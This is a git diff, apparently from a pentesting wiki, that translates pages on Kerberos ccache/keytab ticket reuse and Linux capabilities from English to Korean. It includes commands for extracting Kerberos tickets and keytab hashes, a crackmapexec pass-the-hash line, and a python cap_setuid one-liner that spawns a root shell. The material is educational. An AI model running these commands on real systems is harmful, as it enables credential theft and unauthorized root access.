티켓을 찾을 수 있는 다양한 장소**를 찾을 수 있으며, 다음 페이지에서는 이 CCache 티켓 형식을 Kirbi(Windows에서 사용해야 하는 형식)로 변환하는 방법과 PTT 공격을 수행하는 방법을 배울 수 있습니다: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### CCACHE ticket reuse from /tmp +### /tmp에서 CCACHE 티켓 재사용 -CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +CCACHE 파일은 **Kerberos 자격 증명**을 저장하기 위한 이진 형식으로, 일반적으로 `/tmp`에 600 권한으로 저장됩니다. 이 파일은 **이름 형식 `krb5cc_%{uid}`**로 식별되며, 이는 사용자의 UID와 관련이 있습니다. 인증 티켓 검증을 위해 **환경 변수 `KRB5CCNAME`**을 원하는 티켓 파일의 경로로 설정하여 재사용할 수 있습니다. +`env | grep KRB5CCNAME` 명령어로 현재 인증에 사용되는 티켓을 나열합니다. 형식은 이식 가능하며, `export KRB5CCNAME=/tmp/ticket.ccache`로 환경 변수를 설정하여 티켓을 **재사용할 수 있습니다**. Kerberos 티켓 이름 형식은 `krb5cc_%{uid}`이며, 여기서 uid는 사용자 UID입니다. ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -52,79 +49,62 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` +### CCACHE 티켓 재사용 키링에서 -### CCACHE ticket reuse from keyring - -**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`. - -To configure and use this tool, the steps below are followed: +**프로세스의 메모리에 저장된 Kerberos 티켓은 추출될 수 있습니다**, 특히 머신의 ptrace 보호가 비활성화된 경우(`/proc/sys/kernel/yama/ptrace_scope`). 이 목적을 위한 유용한 도구는 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)에서 찾을 수 있으며, 세션에 주입하고 `/tmp`에 티켓을 덤프하여 추출을 용이하게 합니다. +이 도구를 구성하고 사용하기 위해서는 아래 단계를 따릅니다: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` +이 절차는 다양한 세션에 주입을 시도하며, 성공 시 추출된 티켓을 `/tmp`에 `__krb_UID.ccache`라는 명명 규칙으로 저장합니다. -This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. +### SSSD KCM에서 CCACHE 티켓 재사용 -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSD는 `/var/lib/sss/secrets/secrets.ldb` 경로에 데이터베이스의 복사본을 유지합니다. 해당 키는 `/var/lib/sss/secrets/.secrets.mkey` 경로에 숨겨진 파일로 저장됩니다. 기본적으로, 키는 **root** 권한이 있는 경우에만 읽을 수 있습니다. +\*\*`SSSDKCMExtractor` \*\*를 --database 및 --key 매개변수와 함께 호출하면 데이터베이스를 구문 분석하고 **비밀을 복호화**합니다. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +**자격 증명 캐시 Kerberos 블롭은 Mimikatz/Rubeus에 전달할 수 있는 사용 가능한 Kerberos CCache** 파일로 변환될 수 있습니다. -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### 키탭에서 CCACHE 티켓 재사용 ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### /etc/krb5.keytab에서 계정 추출 -### Extract accounts from /etc/krb5.keytab - -Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. - -To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. +루트 권한으로 운영되는 서비스에 필수적인 서비스 계정 키는 **`/etc/krb5.keytab`** 파일에 안전하게 저장됩니다. 이러한 키는 서비스의 비밀번호와 유사하며, 엄격한 기밀성을 요구합니다. +keytab 파일의 내용을 검사하기 위해 **`klist`**를 사용할 수 있습니다. 이 도구는 사용자 인증을 위한 **NT Hash**를 포함한 키 세부 정보를 표시하도록 설계되었습니다. 특히 키 유형이 23으로 식별될 때 그렇습니다. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` - -For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. - +Linux 사용자에게 **`KeyTabExtract`**는 NTLM 해시 재사용을 위해 활용할 수 있는 RC4 HMAC 해시를 추출하는 기능을 제공합니다. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` - -On macOS, **`bifrost`** serves as a tool for keytab file analysis. - +macOS에서 **`bifrost`**는 keytab 파일 분석을 위한 도구로 사용됩니다. ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` - -Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**. - +추출된 계정 및 해시 정보를 활용하여 **`crackmapexec`**와 같은 도구를 사용하여 서버에 연결할 수 있습니다. ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` - -## References +## 참고 문헌 - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2fa1b2717..3c9cc2c9a 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,90 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ - -{% embed url="https://www.rootedcon.com/" %} ## Linux Capabilities -Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily. +Linux capabilities는 **루트 권한을 더 작고 구별된 단위로 나누어**, 프로세스가 권한의 하위 집합을 가질 수 있도록 합니다. 이는 불필요하게 전체 루트 권한을 부여하지 않음으로써 위험을 최소화합니다. -### The Problem: +### 문제: -- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access. +- 일반 사용자는 제한된 권한을 가지며, 이는 루트 접근이 필요한 네트워크 소켓 열기와 같은 작업에 영향을 미칩니다. -### Capability Sets: +### 권한 세트: -1. **Inherited (CapInh)**: +1. **상속된 (CapInh)**: - - **Purpose**: Determines the capabilities passed down from the parent process. - - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns. - - **Restrictions**: A process cannot gain capabilities that its parent did not possess. +- **목적**: 부모 프로세스에서 전달된 권한을 결정합니다. +- **기능**: 새로운 프로세스가 생성될 때, 이 세트에서 부모로부터 권한을 상속받습니다. 프로세스 생성 간 특정 권한을 유지하는 데 유용합니다. +- **제한**: 프로세스는 부모가 가지지 않은 권한을 얻을 수 없습니다. -2. **Effective (CapEff)**: +2. **유효 (CapEff)**: - - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. - - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. - - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. +- **목적**: 프로세스가 현재 사용하는 실제 권한을 나타냅니다. +- **기능**: 다양한 작업에 대한 권한을 부여하기 위해 커널이 확인하는 권한 세트입니다. 파일의 경우, 이 세트는 파일의 허용된 권한이 유효한지 여부를 나타내는 플래그가 될 수 있습니다. +- **의의**: 유효 세트는 즉각적인 권한 확인에 중요하며, 프로세스가 사용할 수 있는 활성 권한 세트로 작용합니다. -3. **Permitted (CapPrm)**: +3. **허용된 (CapPrm)**: - - **Purpose**: Defines the maximum set of capabilities a process can possess. - - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. - - **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope. +- **목적**: 프로세스가 가질 수 있는 최대 권한 세트를 정의합니다. +- **기능**: 프로세스는 허용된 세트에서 유효 세트로 권한을 상승시킬 수 있으며, 이를 통해 해당 권한을 사용할 수 있습니다. 또한 허용된 세트에서 권한을 제거할 수도 있습니다. +- **경계**: 프로세스가 가질 수 있는 권한의 상한선 역할을 하여, 프로세스가 미리 정의된 권한 범위를 초과하지 않도록 보장합니다. -4. **Bounding (CapBnd)**: +4. **경계 (CapBnd)**: - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. - -5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. +- **목적**: 프로세스가 생애 주기 동안 획득할 수 있는 권한에 한계를 둡니다. +- **기능**: 프로세스가 상속 가능하거나 허용된 세트에서 특정 권한을 가지고 있더라도, 경계 세트에 포함되지 않으면 해당 권한을 획득할 수 없습니다. +- **사용 사례**: 이 세트는 프로세스의 권한 상승 가능성을 제한하는 데 특히 유용하며, 추가적인 보안 계층을 추가합니다. +5. **환경 (CapAmb)**: +- **목적**: 특정 권한이 `execve` 시스템 호출을 통해 유지될 수 있도록 하며, 이는 일반적으로 프로세스의 권한이 완전히 초기화되는 결과를 초래합니다. +- **기능**: 관련 파일 권한이 없는 비-SUID 프로그램이 특정 권한을 유지할 수 있도록 보장합니다. +- **제한**: 이 세트의 권한은 상속 가능 및 허용된 세트의 제약을 받으며, 프로세스의 허용된 권한을 초과하지 않도록 보장합니다. ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +더 많은 정보는 다음을 확인하세요: - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## 프로세스 및 바이너리 권한 -### Processes Capabilities +### 프로세스 권한 -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +특정 프로세스의 권한을 보려면 /proc 디렉토리의 **status** 파일을 사용하세요. 더 많은 세부정보를 제공하므로 Linux 권한과 관련된 정보로만 제한합시다.\ +모든 실행 중인 프로세스에 대한 권한 정보는 스레드별로 유지되며, 파일 시스템의 바이너리에 대해서는 확장 속성에 저장됩니다. -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +/usr/include/linux/capability.h에서 정의된 권한을 찾을 수 있습니다. +현재 프로세스의 권한은 `cat /proc/self/status` 또는 `capsh --print`를 사용하여 확인할 수 있으며, 다른 사용자의 권한은 `/proc//status`에서 확인할 수 있습니다. ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +이 명령은 대부분의 시스템에서 5줄을 반환해야 합니다. -This command should return 5 lines on most systems. - -- CapInh = Inherited capabilities -- CapPrm = Permitted capabilities -- CapEff = Effective capabilities -- CapBnd = Bounding set -- CapAmb = Ambient capabilities set - +- CapInh = 상속된 권한 +- CapPrm = 허용된 권한 +- CapEff = 유효한 권한 +- CapBnd = 경계 집합 +- CapAmb = 환경 권한 집합 ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -94,16 +84,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +이 16진수 숫자는 의미가 없습니다. capsh 유틸리티를 사용하여 이를 권한 이름으로 디코딩할 수 있습니다. ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +이제 `ping`에서 사용되는 **capabilities**를 확인해 봅시다: ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -115,15 +101,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +작동하긴 하지만, 더 쉽고 다른 방법이 있습니다. 실행 중인 프로세스의 능력을 보려면, **getpcaps** 도구를 사용한 다음 프로세스 ID (PID)를 입력하면 됩니다. 프로세스 ID 목록을 제공할 수도 있습니다. ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +여기에서 `tcpdump`의 기능을 확인해 보겠습니다. 이진 파일에 충분한 기능(`cap_net_admin` 및 `cap_net_raw`)을 부여하여 네트워크를 스니핑합니다 (_tcpdump는 프로세스 9562에서 실행 중입니다_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -141,53 +123,43 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +주어진 능력은 이진 파일의 능력을 얻는 두 가지 방법의 결과와 일치합니다.\ +_getpcaps_ 도구는 **capget()** 시스템 호출을 사용하여 특정 스레드에 대한 사용 가능한 능력을 쿼리합니다. 이 시스템 호출은 더 많은 정보를 얻기 위해 PID만 제공하면 됩니다. -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### 이진 파일의 능력 +이진 파일은 실행 중에 사용할 수 있는 능력을 가질 수 있습니다. 예를 들어, `cap_net_raw` 능력을 가진 `ping` 이진 파일을 찾는 것은 매우 일반적입니다: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +바이너리를 **능력으로 검색**하려면 다음을 사용하세요: ```bash getcap -r / 2>/dev/null ``` - ### Dropping capabilities with capsh -If we drop the CAP*NET_RAW capabilities for \_ping*, then the ping utility should no longer work. - +CAP*NET_RAW 기능을 \_ping*에서 제거하면 ping 유틸리티가 더 이상 작동하지 않아야 합니다. ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +_capsh_의 출력 외에도 _tcpdump_ 명령 자체도 오류를 발생시켜야 합니다. -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: 허용되지 않는 작업 -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +오류는 ping 명령이 ICMP 소켓을 열 수 없음을 명확히 보여줍니다. 이제 우리는 이것이 예상대로 작동한다는 것을 확실히 알게 되었습니다. -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### 권한 제거 +바이너리의 권한을 제거할 수 있습니다. ```bash setcap -r ``` +## 사용자 권한 -## User Capabilities - -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +명백히 **사용자에게도 권한을 부여할 수 있습니다**. 이는 아마도 사용자가 실행하는 모든 프로세스가 사용자의 권한을 사용할 수 있음을 의미합니다.\ +[이것](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [이것](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) 및 [이것](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)을 기반으로 특정 권한을 사용자에게 부여하기 위해 몇 가지 파일을 구성해야 하지만, 각 사용자에게 권한을 부여하는 파일은 `/etc/security/capability.conf`입니다.\ +파일 예: ```bash # Simple cap_sys_ptrace developer @@ -201,24 +173,22 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` - ## Environment Capabilities -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. - +다음 프로그램을 컴파일하면 **권한을 제공하는 환경 내에서 bash 셸을 생성할 수 있습니다**. ```c:ambient.c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -229,70 +199,70 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` @@ -301,40 +271,34 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +컴파일된 환경 바이너리에 의해 실행된 **bash** 내부에서 **새로운 권한**을 관찰할 수 있습니다(일반 사용자는 "현재" 섹션에서 어떤 권한도 가지지 않습니다). ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - > [!CAUTION] -> You can **only add capabilities that are present** in both the permitted and the inheritable sets. +> 당신은 **허용된 세트와 상속 가능한 세트 모두에 존재하는** 능력만 추가할 수 있습니다. -### Capability-aware/Capability-dumb binaries +### 능력 인식/능력 무시 이진 파일 -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +**능력 인식 이진 파일은** 환경에 의해 제공된 새로운 능력을 사용하지 않지만, **능력 무시 이진 파일은** 이를 거부하지 않기 때문에 사용할 것입니다. 이는 능력을 이진 파일에 부여하는 특별한 환경 내에서 능력 무시 이진 파일을 취약하게 만듭니다. -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## 서비스 능력 +기본적으로 **루트로 실행되는 서비스는 모든 능력이 할당됩니다**, 그리고 경우에 따라 이는 위험할 수 있습니다.\ +따라서, **서비스 구성** 파일은 **원하는 능력**과 **서비스를 실행해야 하는 사용자**를 **지정**할 수 있게 하여 불필요한 권한으로 서비스를 실행하지 않도록 합니다: ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Docker 컨테이너의 능력 -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +기본적으로 Docker는 컨테이너에 몇 가지 능력을 할당합니다. 이러한 능력이 무엇인지 확인하는 것은 매우 쉽습니다: ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap # Add a capabilities docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash @@ -345,21 +309,11 @@ docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash # Remove all and add only one docker run --rm -it --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash ``` - -​ - -
- -​​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - ## Privesc/Container Escape -Capabilities are useful when you **want to restrict your own processes after performing privileged operations** (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root. - -You can force capabilities upon programs using `setcap`, and query these using `getcap`: +Capabilities는 **특권 작업을 수행한 후 자신의 프로세스를 제한하고 싶을 때** 유용합니다 (예: chroot를 설정하고 소켓에 바인딩한 후). 그러나 악의적인 명령이나 인수를 전달하여 루트로 실행되도록 악용될 수 있습니다. +`setcap`을 사용하여 프로그램에 능력을 강제할 수 있으며, `getcap`을 사용하여 이를 조회할 수 있습니다: ```bash #Set Capability setcap cap_net_raw+ep /sbin/ping @@ -368,19 +322,15 @@ setcap cap_net_raw+ep /sbin/ping getcap /sbin/ping /sbin/ping = cap_net_raw+ep ``` +`+ep`는 능력을 추가하고 있음을 의미합니다 (“-”는 제거합니다) 유효하고 허용된 것으로. -The `+ep` means you’re adding the capability (“-” would remove it) as Effective and Permitted. - -To identify programs in a system or folder with capabilities: - +시스템이나 폴더에서 능력을 가진 프로그램을 식별하려면: ```bash getcap -r / 2>/dev/null ``` - ### Exploitation example -In the following example the binary `/usr/bin/python2.6` is found vulnerable to privesc: - +다음 예제에서 이진 파일 `/usr/bin/python2.6`가 권한 상승에 취약한 것으로 발견되었습니다: ```bash setcap cap_setuid+ep /usr/bin/python2.7 /usr/bin/python2.7 = cap_setuid+ep @@ -388,46 +338,38 @@ setcap cap_setuid+ep /usr/bin/python2.7 #Exploit /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");' ``` - -**Capabilities** needed by `tcpdump` to **allow any user to sniff packets**: - +`tcpdump`가 **모든 사용자가 패킷을 스니핑할 수 있도록** 필요한 **Capabilities**: ```bash setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump getcap /usr/sbin/tcpdump /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip ``` +### "빈" 권한의 특별한 경우 -### The special case of "empty" capabilities +[문서에서](https://man7.org/linux/man-pages/man7/capabilities.7.html): 빈 권한 세트를 프로그램 파일에 할당할 수 있으며, 따라서 실행하는 프로세스의 유효 및 저장된 사용자 ID를 0으로 변경하지만 해당 프로세스에 권한을 부여하지 않는 set-user-ID-root 프로그램을 생성할 수 있습니다. 간단히 말해, 다음 조건을 만족하는 바이너리가 있다면: -[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that: +1. root에 의해 소유되지 않음 +2. `SUID`/`SGID` 비트가 설정되어 있지 않음 +3. 빈 권한 세트가 설정되어 있음 (예: `getcap myelf`가 `myelf =ep`를 반환) -1. is not owned by root -2. has no `SUID`/`SGID` bits set -3. has empty capabilities set (e.g.: `getcap myelf` returns `myelf =ep`) - -then **that binary will run as 